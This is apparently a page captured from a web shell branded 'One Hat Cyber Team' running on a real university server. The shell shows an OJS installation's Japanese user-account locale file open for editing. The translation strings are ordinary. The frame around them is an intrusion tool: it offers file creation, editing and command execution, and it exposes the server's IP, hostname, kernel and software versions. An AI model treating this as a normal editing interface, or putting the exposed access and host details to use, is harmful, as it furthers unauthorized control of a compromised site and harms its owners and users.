One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
lib
/
pkp
/
locale
/
ja
/
Edit File:
user.po
# TAKASHI IMAGIRE <imagire@gmail.com>, 2021. # Bjorn-Ole Kamm <pkp_trans@b-ok.de>, 2024. msgid "" msgstr "" "PO-Revision-Date: 2024-06-17 05:35+0000\n" "Last-Translator: Bjorn-Ole Kamm <pkp_trans@b-ok.de>\n" "Language-Team: Japanese <http://translate.pkp.sfu.ca/projects/pkp-lib/user/" "ja/>\n" "Language: ja\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: Weblate 4.18.2\n" msgid "user.accountInformation" msgstr "アカウント情報" msgid "user.affiliation" msgstr "所属" msgid "user.affiliation.description" msgstr "(所属 例: サイモン・フレーザー大学)" msgid "user.affiliations" msgstr "所属" msgid "user.authorization.accessDenied" msgstr "アクセスが拒否されました。" msgid "user.authorization.processAuthenticationTokenRequired" msgstr "プロセス認証トークンが見つからないか無効です。" msgid "user.authorization.contextRequired" msgstr "" "コンテキスト(ジャーナル、会議など)なしでこの操作を行うことができません。" msgid "user.authorization.loginRequired" msgstr "ログインは必須です。" msgid "user.authorization.privateOperation" msgstr "アクセスしようとした操作は非公開であるか存在しません。" msgid "user.authorization.restrictedSiteAccess" msgstr "" "あなたはアクセスを拒否されました。 このサイトへのアクセスは現在制限されていま" "す。" msgid "user.authorization.roleBasedAccessDenied" msgstr "現在の役割はこの操作にアクセスできません。" msgid "user.authorization.assignedStageRoleBasedAccessDenied" msgstr "" "この操作へのアクセスを許可されている役割で、この投稿に割り当てられていませ" "ん。" msgid "user.authorization.userGroupRequired" msgstr "" "この操作にアクセスするには有効なユーザグループを設定する必要があります。" msgid "user.authorization.managerRequired" msgstr "" "先に進む前に、管理者役割を持つユーザ(つまり制作編集者)をこの段階に割り当て" "る必要があります。" msgid "user.authorization.accessibleWorkflowStage" msgstr "現在、ワークフローのその段階にアクセスすることはできません。" msgid "user.authorization.workflowStageRequired" msgstr "ワークフローの段階が指定されていません。" msgid "user.authorization.pluginRequired" msgstr "プラグインが指定されていないので必須です。" msgid "user.authorization.invalidReviewAssignment" msgstr "この査読課題にアクセスする権限がありません。" msgid "user.authorization.submissionQuery" msgstr "このディスカッションにアクセスする権限がありません。" msgid "user.biography" msgstr "経歴 (例えば、部局と職名)" msgid "user.changeMyPassword" msgstr "パスワードの変更" msgid "user.changePassword" msgstr "パスワードの変更" msgid "user.dateLastLogin" msgstr "最新ログイン" msgid "user.dateRegistered" msgstr "登録日" msgid "user.editMyProfile" msgstr "ユーザー情報の変更" msgid "user.email" msgstr "メールアドレス" msgid "user.givenName" msgstr "名" msgid "user.interests" msgstr "査読可能分野" msgid "user.gossip" msgstr "編集者メモ" msgid "user.gossip.description" msgstr "" "この査読者について、他のサイト管理者、雑誌管理者、およびすべての編集者に見え" "るようにしたいというメモを記録します。 メモは次回の査読課題のために表示されま" "す。" msgid "user.group" msgstr "ユーザーグループ" msgid "user.familyName" msgstr "姓" msgid "user.profile.form.profileImageInvalid" msgstr "" "無効な画像フォーマットか画像サイズが大きすぎます。[gif], [jpg], [png]フォー" "マットで 150x150 pixel を越えない画像でなければなりません。" msgid "user.login.accountDisabledWithReason" msgstr "このアカウントは次の理由で無効になっています: {$reason}" msgid "user.login.accountDisabled" msgstr "このアカウントは無効です。詳細は管理者にご連絡ください。" msgid "user.login.accountNotValidated" msgstr "" "{$email}へ確認メールを送りました。メールアドレスをチェックして、指示に従って" "アクティベーションを行ってください。メールを受け取っていない場合は、迷惑メー" "ルフォルダを確認してください。サイトの管理者に連絡する必要があるかもしれませ" "ん。" msgid "user.login.activate" msgstr "アカウントの有効化" msgid "user.login.activated" msgstr "" "アカウントの有効化を行ってくださいまして、ありがとうございます。ただ今から、" "アカウントを作成した際に登録していただいたクレデンシャルを使ってログインする" "ことが可能です。" msgid "user.login.changePasswordInstructions" msgstr "" "このサイトにログインする前に新しいパスワードを選んでください。<br /><br />あ" "たらしいユーザ名と現在のパスワードと新しいパスワードを入力してアカウントのパ" "スワードを変更してください。" msgid "user.login.forgotPassword" msgstr "パスワードを忘れた方はこちらで手続きをしてください。" msgid "user.login.loginError" msgstr "" "ユーザー名またはパスワードが正しくありません。もう一度入力してください。" msgid "user.login" msgstr "ログイン" msgid "user.login.lostPassword.confirmationSent" msgstr "" "一致するアカウントが見つかった場合は、確認メールがあなたのメールアドレスに送" "信されました。メールの指示に従ってパスワードをリセットしてください。" msgid "user.login.lostPassword.invalidHash" msgstr "" "このリンクは有効期限切れ、または正しくありません。申し訳ありませんが、もう一" "度、パスワードのリセット処理を行ってください。" msgid "user.login.lostPassword.passwordSent" msgstr "" "新しいパスワードを指定のメールアドレスに送信しました。今後、新しいパスワード" "でこのサイトにログインすることができます。" msgid "user.login.registeredEmail" msgstr "登録ユーザーのメールアドレス" msgid "user.login.registrationComplete" msgstr "登録完了" msgid "user.login.registrationComplete.instructions" msgstr "登録ありがとうございました。次に何をしたいですか。" msgid "user.login.registrationComplete.manageSubmissions" msgstr "投稿物を見る" msgid "user.login.registrationComplete.newSubmission" msgstr "投稿を提出する" msgid "user.login.registrationComplete.continueBrowsing" msgstr "ブラウズを続ける" msgid "user.login.registrationPendingValidation" msgstr "確認待ちの登録" msgid "user.login.rememberUsernameAndPassword" msgstr "ユーザー名とパスワードを記憶する" msgid "user.login.resetPassword" msgstr "パスワードのリセット" msgid "user.logOut" msgstr "ログアウト" msgid "user.logOutAs" msgstr "{$username}としてログアウト" msgid "user.hello" msgstr "こんにちは、 " msgid "user.mailingAddress" msgstr "住所" msgid "user.myAccount" msgstr "マイ・アカウント" msgid "user.name" msgstr "名前" msgid "user.password" msgstr "パスワード" msgid "user.repeatPassword" msgstr "もう一度パスワードを入力してください" msgid "user.phone" msgstr "電話" msgid "user.preferredPublicName" msgstr "好ましいパブリック名称" msgid "user.preferredPublicName.description" msgstr "どのように呼べてほしいですか。 " "敬称、ミドルネーム、接尾辞をここに追加できます。" msgid "user.profile.changePasswordInstructions" msgstr "" "パスワードの変更を行う場合は、現在のパスワードと新しいパスワードを以下の該当" "欄に入力してください。" msgid "user.profile.editProfile" msgstr "ユーザー情報の編集" msgid "user.profile.form.countryRequired" msgstr "国は必須です。" msgid "user.profile.form.emailRequired" msgstr "メールアドレスは必須です。" msgid "user.profile.form.givenNameRequired" msgstr "名は必須です。" msgid "user.profile.form.givenNameRequired.locale" msgstr "" "名が欠落している言語のため姓を記入しました。 この言語のために名を追加してくだ" "さい。" msgid "user.profile.form.mailingAddressRequired" msgstr "住所はは必須です。" msgid "user.profile.form.newPasswordRequired" msgstr "新しいパスワードを入力してください。" msgid "user.profile.form.oldPasswordInvalid" msgstr "入力された現在のパスワードは間違っています。" msgid "user.profile.form.openAccessNotifications" msgstr "オープンアクセスになった巻号のメール通知" msgid "user.profile.form.passwordRequired" msgstr "パスワードは必須です。" msgid "user.profile.form.passwordSameAsOld" msgstr "新パスワードは前のパスワードと同じです。" msgid "user.profile.form.profileImage" msgstr "プロフィール画像" msgid "user.profile.form.publishedNotifications" msgstr "最新号出版のメール通知" msgid "user.profile.form.urlInvalid" msgstr "" "指定されたURLは不正です。URLをもう一度確認して再度入力してください。(URLの先" "頭にhttp://があることを確認してください)" msgid "user.profile.form.usergroupRequired" msgstr "役割は必須です。" msgid "user.profile.form.usernameRequired" msgstr "ユーザー名は必須です。" msgid "user.profile.form.privacyConsentRequired" msgstr "個人情報保護方針の条項に同意しなければなりません。" msgid "user.profile.leavePasswordBlank" msgstr "" "現在のパスワードを変更しない場合は、パスワード欄を空白のままにしておいてくだ" "さい。" msgid "user.profile.newPassword" msgstr "新しいパスワード" msgid "user.profile.oldPassword" msgstr "現在のパスワード" msgid "user.profile" msgstr "ユーザー情報" msgid "user.profile.publicProfile" msgstr "ユーザープロフィール" msgid "user.profile.repeatNewPassword" msgstr "新パスワードの確認" msgid "user.login.registerNewAccount" msgstr "登録" msgid "user.login.resetPasswordInstructions" msgstr "" "ご登録のメールアドレスを入力してください。パスワードの変更手続き方法をメール" "でお送りします。" msgid "user.register.form.privacyConsent" msgstr "" "本誌の<a href=\"{$privacyUrl}\" target=\"_blank\">個人情報保護方針</a>に従っ" "てデータを収集し保存することに同意します。" msgid "user.register.form.emailConsent" msgstr "雑誌の最新号についてのお知らせを受けたいです。" msgid "user.register.form.emailExists" msgstr "指定されたメールアドレスは既に別のユーザーに使用されています。" msgid "user.register.form.passwordsDoNotMatch" msgstr "パスワードが一致しません。" msgid "user.register.form.emailsDoNotMatch" msgstr "メールアドレスが一致しません。" msgid "user.register.form.usernameAlphaNumeric" msgstr "" "ユーザー名に使用できる文字は、英数字とアンダーバー \"_\"、ハイフン \"-\" だけ" "です。また、最初と最後の文字は英数字でなければなりません。" msgid "user.register.form.userGroupRequired" msgstr "少なくとも1つの役割を選択する必要があります。" msgid "user.register.form.usernameExists" msgstr "指定されたユーザー名は既に使用されています。" msgid "user.register.form.passwordLengthRestriction" msgstr "パスワードは{$length}文字以上をお願いします。" msgid "user.register.registerAs" msgstr "『{$contextName}』での登録ユーザーの役割" msgid "user.register" msgstr "登録" msgid "user.register.usernameRestriction" msgstr "" "ユーザー名に使えるのは、英小文字と数字、ハイフンとアンダーバーだけです。" msgid "user.register.registrationCompleted" msgstr "" "登録が完了です。<a href=\"{$profileUrl}\">プロフィール情報</a>を完成させてく" "ださい。" msgid "user.role.assistant" msgstr "雑誌アシスタント" msgid "user.role.author" msgstr "著者" msgid "user.role.author_s" msgstr "著者" msgid "user.role.authors" msgstr "著者" msgid "user.role.editor" msgstr "編集者" msgid "user.role.editors" msgstr "編集者" msgid "user.role.reader" msgstr "購読者" msgid "user.role.readers" msgstr "購読者" msgid "user.role.reviewer" msgstr "査読者" msgid "user.role.reviewers" msgstr "査読者" msgid "user.role.siteAdmin" msgstr "サイト管理者" msgid "user.role.siteAdmins" msgstr "サイト管理者" msgid "user.role.copyeditor" msgstr "原稿整理者" msgid "user.role.copyeditors" msgstr "原稿整理者" msgid "user.role.proofreader" msgstr "校正者" msgid "user.role.proofreaders" msgstr "校正者" msgid "user.role.layoutEditor" msgstr "レイアウトエディタ" msgid "user.role.layoutEditors" msgstr "レイアウトエディタ" msgid "user.roles" msgstr "役割" msgid "user.sendPassword" msgstr "確認" msgid "user.sendPassword.description" msgstr "ユーザー名とパスワードを含む確認メールを送信してください" msgid "user.signature" msgstr "シグネチャー" msgid "user.title" msgstr "身分" msgid "user.url" msgstr "URL" msgid "user.userHome" msgstr "ユーザーホーム" msgid "user.username" msgstr "ユーザー名" msgid "user.workingLanguages" msgstr "使用言語" msgid "user.orcid" msgstr "ORCID iD" msgid "user.orcid.orcidInvalid" msgstr "" "指定したORCID IDが無効です。完全なURLを含めてください(例: \"https://orcid." "org/0000-0002-1825-0097\")。" msgid "user.profile.identity" msgstr "アイデンティティ" msgid "user.profile.contact" msgstr "連絡先" msgid "user.profile.public" msgstr "パブリック" msgid "user.apiKey" msgstr "APIキー" msgid "user.apiKeyEnabled" msgstr "" "APIキーを使用して外部アプリケーションからこのアカウントへのアクセスを可能にす" "る" msgid "user.apiKey.generate" msgstr "新しいAPIキーを発行する" msgid "user.apiKey.remove" msgstr "削除" msgid "user.apiKey.generateWarning" msgstr "" "新しいAPIキーを発行すると、このユーザーの既存のキーはすべて無効になります。" msgid "user.apiKey.removeWarning" msgstr "キーを削除すると、キーを使用するアプリケーションのアクセスが取り消されます。" msgid "user.apiKey.remove.confirmation.message" msgstr "この API キーを削除してもよろしいですか。" msgid "user.apiKey.secretRequired" msgstr "" "APIキーを発行する前に、サイト管理者は設定ファイル( \"api_key_secret\" )に" "シークレットを設定する必要があります。" msgid "user.privacyLink" msgstr "" "本誌の<a href=\"{$privacyUrl}\" target=\"_blank\">個人情報保護方針</a>に従っ" "てデータを保存します。" msgid "user.login.lostPassword.invalidUser" msgstr "" msgid "user.login.lostPassword.confirmationSentFailedWithReason" msgstr "{$reason} のため、パスワード リセット要求を完了できません。" msgid "user.login.passwordResetProcessInstructions" msgstr "ログインパスワードを更新するための新しいパスワードを入力してください。" msgid "user.login.resetPassword.passwordUpdated" msgstr "パスワードが正常に更新されました。更新したパスワードでログインしてください。" msgid "user.usernameOrEmail" msgstr "ユーザー名またはメールアドレス" msgid "user.authorization.submission.incomplete.workflowAccessRestrict" msgstr "不完全な投稿に対するワークフロー アクセスは制限されます。" msgid "orcid.about.display" msgstr "" "あなたがiDを使用し、それが認証されたことを確認するために、ORCID iDアイコンが<img src=\"https://info.orcid.org/" "wp-content/uploads/2020/12/ORCIDiD_icon16x16.png\" alt=\"iD icon\" width=\"" "16\" height=\"16\" border=\"0\"" ">あなたの名前と一緒に、あなたが投稿した記事のページと公開されたユーザープロフィールに表示されます。<br>\n" "\t\t詳しくは次をご覧ください<a href=\"https://info.orcid.org/" "how-should-an-orcid-id-be-displayed/\">「ORCID iDはどのように表示されますか?」</a>" msgid "orcid.manager.settings.orcidClientSecret.error" msgstr "無効なクライアントシークレット" msgid "orcid.manager.settings.orcidClientId.error" msgstr "無効なクライアントID" msgid "orcid.about.display.title" msgstr "ORCID iDはどこに表示されますか?" msgid "orcid.about.howAndWhyMemberAPI" msgstr "" "本ジャーナルはORCID iDを収集していますので、私たちやより広いコミュニティは、あなたが正しく識別され、あなたの出版物とつながっていることを確信するこ" "とができます。これにより、ご自身の全作品とのつながりがキャリアを通じて維持されることになります。<br>\n" "\tORCID ポップアップの「認証」ボタンをクリックすると、認証されたプロセスを使用して iD を共有するように求められます。これは ORCID iD " "を登録するか、すでに持っている場合は ORCID アカウントにサインインしてから ORCID iD " "を取得する許可を当社に与えるかのいずれかです。これは、お客様が正しく認識され、ORCID iDに安全に接続できるようにするためです。<br>\n" "\t詳しくは、「<a href=\"https://info.orcid.org/whats-so-special-about-signing-in/\"" ">サインインすると何か特別なことがあるのでしょうか。</a>」<br>をご覧ください。<br>\n" "\t本ジャーナルでは、認証された著者や共著者のiDを収集し、OJSのプロフィールや論文ページに表示します。また、論文のメタデータが自動的にORCIDレコー" "ドにプッシュされるため、信頼できる情報でレコードを最新に保つお手伝いが可能になります。詳しくは<a href=\"https://info.orcid." "org/six-ways-to-make-your-orcid-id-work-for-you/\">ORCID " "iDを活用するための6つの方法</a>をご覧ください。\n" msgid "orcid.about.howAndWhyPublicAPI" msgstr "" "本ジャーナルでは、ORCID iDを収集しています。これにより、私たちとより広いコミュニティは、あなたが正しく識別され、あなたの出版物と結びついていること" "を確信することができます。これにより、ご自身の全作品とのつながりがキャリアを通じて維持されることになります。<br>\n" "\tORCID ポップアップの「認証」ボタンをクリックすると、認証されたプロセスを使って iD を共有するように求められます。すなわち、ORCID iD " "を登録するか、すでに持っている場合は ORCID アカウントにサインインして、ORCID iD " "を取得する許可を当社に与えてください。これは、お客様が正しく認識され、ORCID iDに安全に接続できるようにするためです。<br>\n" "\t詳しくは、「<a href=\"https://info.orcid.org/whats-so-special-about-signing-in/\"" ">サインインすると何か特別なことがあるのでしょうか。</a>」<br>をご覧ください。\n" "本ジャーナルでは、認証された著者や共著者のiDを収集し、OJSのプロフィールや論文ページに表示します。" msgid "orcid.about.howAndWhy.title" msgstr "ORCID IDを収集する方法と理由は?" msgid "orcid.about.orcidExplanation" msgstr "" "ORCIDは独立した非営利団体で、他の研究者と区別するための永続的な識別子(ORCID iD)と、研究成果や活動を自分のiDに結びつけるための仕組みを提供" "しています。ORCIDは、出版社、資金提供者、研究機関、その他の研究関連サービスが使用する多くのシステムに組み込まれています。詳細は<a href=\"" "https://orcid.org\">orcid.org</a>をご覧ください。" msgid "orcid.about.title" msgstr "ORCIDとは?" msgid "orcid.authorise" msgstr "ORCID iDの認証と接続" msgid "orcid.connect" msgstr "ORCID iDの作成または接続" msgid "orcid.fieldset" msgstr "ORCID" msgid "orcid.failure.contact" msgstr "お名前、ORCID iD、投稿の詳細を雑誌管理者にご連絡ください。" msgid "orcid.authFailure" msgstr "ORCID認証リンクがすでに使用されているか、無効になっています。" msgid "orcid.verify.denied" msgstr "ORCIDレコードへのアクセスを拒否しました。" msgid "orcid.verify.duplicateOrcid" msgstr "この投稿にはORCID iDがすでに保存されています。" msgid "orcid.verify.failure" msgstr "あなたのORCID iDが確認できませんでした。このリンクは無効です。" msgid "orcid.verify.success" msgstr "あなたのORCID iDが確認され、投稿との関連付けが完了しました。" msgid "orcid.verify.sendSubmissionToOrcid.notpublished" msgstr "投稿は、出版時にあなたのORCIDレコードに追加されます。" msgid "orcid.verify.sendSubmissionToOrcid.failure" msgstr "投稿をあなたのORCIDレコードに追加できませんでした。" msgid "orcid.verify.sendSubmissionToOrcid.success" msgstr "投稿内容があなたのORCIDレコードに追加されました。" msgid "orcid.verify.title" msgstr "ORCID 認証" msgid "orcid.author.unauthenticated" msgstr "ORCID iDが認証されていません。投稿者に認証を依頼してください。" msgid "orcid.author.orcidEmptyNotice" msgstr "認証されたORCID iDをご希望の方は以下をご覧ください" msgid "orcid.author.deleteORCID" msgstr "ORCID iDとアクセストークンを削除してください!" msgid "orcid.author.requestAuthorization" msgstr "投稿者にORCID認証を依頼するメールを送る" msgid "orcid.author.accessTokenStored" msgstr "ORCIDレコードへのアクセスは{$orcidAccessScope}スコープで許可されており、次の期間まで有効です:" msgid "orcid.author.accessDenied" msgstr "ORCIDへのアクセスが拒否されたのは" msgid "orcid.manager.settings.logLevel.all" msgstr "全て" msgid "orcid.manager.settings.logLevel.error" msgstr "エラー" msgid "orcid.manager.settings.logLevel.help" msgstr "プラグインが出力するログの量を選択する" msgid "orcid.manager.settings.logSectionTitle" msgstr "ORCIDリクエストログ" msgid "orcid.manager.settings.sendMailToAuthorsOnPublication" msgstr "論文受理時にORCID認証を著者に依頼するためのメールを送信する(コピー編集に回す)" msgid "orcid.manager.settings.mailSectionTitle" msgstr "電子メール設定" msgid "orcid.manager.settings.orcidScope" msgstr "プロフィール アクセス スコープ" msgid "orcid.manager.settings.orcidClientSecret" msgstr "クライアントシークレット" msgid "orcid.manager.settings.orcidClientId" msgstr "クライアントID" msgid "orcid.manager.settings.orcidProfileAPIPath.memberSandbox" msgstr "メンバーサンドボックス" msgid "orcid.manager.settings.orcidProfileAPIPath.member" msgstr "メンバー" msgid "orcid.manager.settings.orcidProfileAPIPath.publicSandbox" msgstr "公開サンドボックス" msgid "orcid.manager.settings.orcidProfileAPIPath.public" msgstr "公開" msgid "orcid.manager.settings.orcidProfileAPIPath" msgstr "ORCID API" msgid "orcid.manager.settings.description.globallyconfigured" msgstr "ORCID APIはホストによってグローバルに設定されました。以下の認証情報が保存されています。" msgid "orcid.manager.settings.description" msgstr "" "ORCIDプロフィール情報をユーザーや著者のプロフィールに取り込み、接続されたORCIDレコードを新しい出版物で更新する際に使用するORCID " "APIアクセスを設定してください(ORCIDメンバーのみ)。" msgid "orcid.manager.settings.hidden" msgstr "隠し" msgid "orcid.manager.settings.title" msgstr "ORCID API 設定" msgid "orcid.emailOrOrcid" msgstr "電子メールアドレスまたはORCID iD:" msgid "orcid.noData" msgstr "ORCIDからのデータは見つかりませんでした。" msgid "orcid.instructions" msgstr "" "このフォームには、ORCIDプロフィールの情報をあらかじめ入力しておくことができます。ORCIDプロフィールに関連するメールアドレスまたはORCID " "iDを入力し、「Submit」をクリックしてください。" msgid "orcid.description" msgstr "ORCIDからユーザーのプロフィール情報を取り込めるようになりました。" msgid "orcid.displayName" msgstr "ORCIDプロフィールプラグイン" msgid "orcid.manager.settings.saved" msgstr "設定が保存されました" msgid "orcid.invalidClient" msgstr "無効なクライアント資格情報" msgid "orcid.manager.status.configuration.clientSecretInvalid" msgstr "クライアントシークレットは無効:認証情報を確認してください" msgid "orcid.manager.status.configuration.clientIdValid" msgstr "クライエントIDは有効" msgid "orcid.manager.status.configuration.clientSecretValid" msgstr "クライエントシークリットは有効" msgid "orcid.verify.hasUnauthenticatedOrcid" msgstr "投稿者の認証されていないORCiDが検出されました。" msgid "orcid.manager.settings.city" msgstr "都市" msgid "orcid.manager.status.configuration.journal" msgstr "雑誌別に設定されています" msgid "orcid.manager.status.configuration.clientIdInvalid" msgstr "クライアントIDは無効:入力を確認してください" msgid "orcid.verify.duplicateOrcidAuthor" msgstr "投稿者のORCiDの重複が検出されました。"
Simpan